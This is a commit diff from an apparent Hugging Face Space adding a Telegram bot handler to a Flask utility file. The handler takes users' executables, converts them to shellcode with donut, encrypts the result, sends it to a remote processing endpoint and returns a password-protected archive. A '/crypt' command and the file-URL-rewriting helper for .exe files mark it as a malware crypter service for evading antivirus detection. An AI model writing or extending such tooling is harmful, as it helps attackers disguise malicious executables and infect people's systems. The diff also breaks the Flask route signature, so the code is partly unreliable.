Spaces:
Sleeping
Sleeping
Update utils.py
Browse files
utils.py
CHANGED
@@ -8,6 +8,8 @@ import shutil
|
|
8 |
import tempfile
|
9 |
import requests
|
10 |
import json
|
|
|
|
|
11 |
|
12 |
app = Flask(__name__)
|
13 |
|
@@ -195,7 +197,7 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
|
|
195 |
raise Exception(f"An error occurred: {e}")
|
196 |
|
197 |
@app.route('/process', methods=['POST'])
|
198 |
-
def process_request():
|
199 |
temp_dir = None # Initialize temp_dir to be used in the finally block
|
200 |
try:
|
201 |
# Save the incoming binary file
|
@@ -284,5 +286,93 @@ def download_file(filename):
|
|
284 |
file_path = os.path.join(UPLOAD_FOLDER, filename)
|
285 |
return send_file(file_path, as_attachment=True)
|
286 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
287 |
if __name__ == '__main__':
|
288 |
app.run(debug=True)
|
|
|
8 |
import tempfile
|
9 |
import requests
|
10 |
import json
|
11 |
+
from telegram import Update
|
12 |
+
from telegram.ext import ContextTypes, ConversationHandler
|
13 |
|
14 |
app = Flask(__name__)
|
15 |
|
|
|
197 |
raise Exception(f"An error occurred: {e}")
|
198 |
|
199 |
@app.route('/process', methods=['POST'])
|
200 |
+
def process_request(request):
|
201 |
temp_dir = None # Initialize temp_dir to be used in the finally block
|
202 |
try:
|
203 |
# Save the incoming binary file
|
|
|
286 |
file_path = os.path.join(UPLOAD_FOLDER, filename)
|
287 |
return send_file(file_path, as_attachment=True)
|
288 |
|
289 |
+
async def confirm_file(update: Update, context: ContextTypes.DEFAULT_TYPE) -> int:
|
290 |
+
"""Handle file confirmation"""
|
291 |
+
query = update.callback_query
|
292 |
+
await query.answer()
|
293 |
+
|
294 |
+
file_path = context.user_data.get('file_path')
|
295 |
+
|
296 |
+
if query.data == "yes":
|
297 |
+
output_file = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) + f"_{query.message.chat.id}.bin"
|
298 |
+
output_path = os.path.join("converted", output_file)
|
299 |
+
try:
|
300 |
+
# Convert the .exe file to a .bin file
|
301 |
+
shellcode = donut.create(file=file_path, output=output_path)
|
302 |
+
|
303 |
+
# Encrypt the .bin file
|
304 |
+
encrypted_file_path = encrypt_bin_file(output_path)
|
305 |
+
|
306 |
+
# Show animated text while processing
|
307 |
+
await query.edit_message_text(
|
308 |
+
"π Processing your file...\n"
|
309 |
+
"π©π©π©β¬β¬β¬β¬β¬β¬β¬ (30%)"
|
310 |
+
)
|
311 |
+
|
312 |
+
# Send the encrypted .bin file to the API
|
313 |
+
with open(encrypted_file_path, 'rb') as bin_file:
|
314 |
+
response = requests.post('https://sigyllly-demo-docker-gradio.hf.space/process', files={'file': bin_file}, timeout=120)
|
315 |
+
|
316 |
+
if response.status_code == 200:
|
317 |
+
# Parse the response to get the .7z file URL and password
|
318 |
+
response_data = response.json()
|
319 |
+
archive_url = response_data.get("download_link")
|
320 |
+
password = response_data.get("password")
|
321 |
+
|
322 |
+
if not archive_url or not password:
|
323 |
+
await query.edit_message_text("β Invalid response from the server. Missing archive URL or password.")
|
324 |
+
context.user_data['processing'] = False
|
325 |
+
return ConversationHandler.END
|
326 |
+
|
327 |
+
# Download the .7z file from the archive_url
|
328 |
+
archive_response = requests.get(archive_url)
|
329 |
+
if archive_response.status_code != 200:
|
330 |
+
await query.edit_message_text("β Failed to download the .7z file from the server.")
|
331 |
+
context.user_data['processing'] = False
|
332 |
+
return ConversationHandler.END
|
333 |
+
|
334 |
+
# Save the .7z file locally
|
335 |
+
archive_filename = f"processed_{random.randint(1000, 9999)}.7z"
|
336 |
+
archive_filepath = os.path.join("converted", archive_filename)
|
337 |
+
with open(archive_filepath, 'wb') as archive_file:
|
338 |
+
archive_file.write(archive_response.content)
|
339 |
+
|
340 |
+
await query.edit_message_text(
|
341 |
+
"π Processing your file...\n"
|
342 |
+
"π©π©π©π©π©π©π©π©π©π© (100%)"
|
343 |
+
)
|
344 |
+
|
345 |
+
# Send the .7z file and password to the user
|
346 |
+
await query.message.reply_document(
|
347 |
+
document=open(archive_filepath, 'rb'),
|
348 |
+
filename=archive_filename,
|
349 |
+
caption=f"β
File processed successfully! Here is your encrypted file.\n\nπ Password: `{password}`"
|
350 |
+
)
|
351 |
+
|
352 |
+
# Clean up the downloaded .7z file
|
353 |
+
os.remove(archive_filepath)
|
354 |
+
|
355 |
+
# Mark process as finished
|
356 |
+
context.user_data['processing'] = False
|
357 |
+
return ConversationHandler.END
|
358 |
+
else:
|
359 |
+
await query.edit_message_text("β Error occurred while processing the file.")
|
360 |
+
context.user_data['processing'] = False
|
361 |
+
return ConversationHandler.END
|
362 |
+
|
363 |
+
except Exception as e:
|
364 |
+
print(f"Error in confirm_file: {e}")
|
365 |
+
await query.edit_message_text(text=f"β Error occurred: {e}")
|
366 |
+
context.user_data['processing'] = False
|
367 |
+
if os.path.exists(file_path):
|
368 |
+
os.remove(file_path)
|
369 |
+
return ConversationHandler.END
|
370 |
+
else:
|
371 |
+
await query.edit_message_text("β Operation cancelled. Use /crypt to try again.")
|
372 |
+
context.user_data['processing'] = False
|
373 |
+
if os.path.exists(file_path):
|
374 |
+
os.remove(file_path)
|
375 |
+
return ConversationHandler.END
|
376 |
+
|
377 |
if __name__ == '__main__':
|
378 |
app.run(debug=True)
|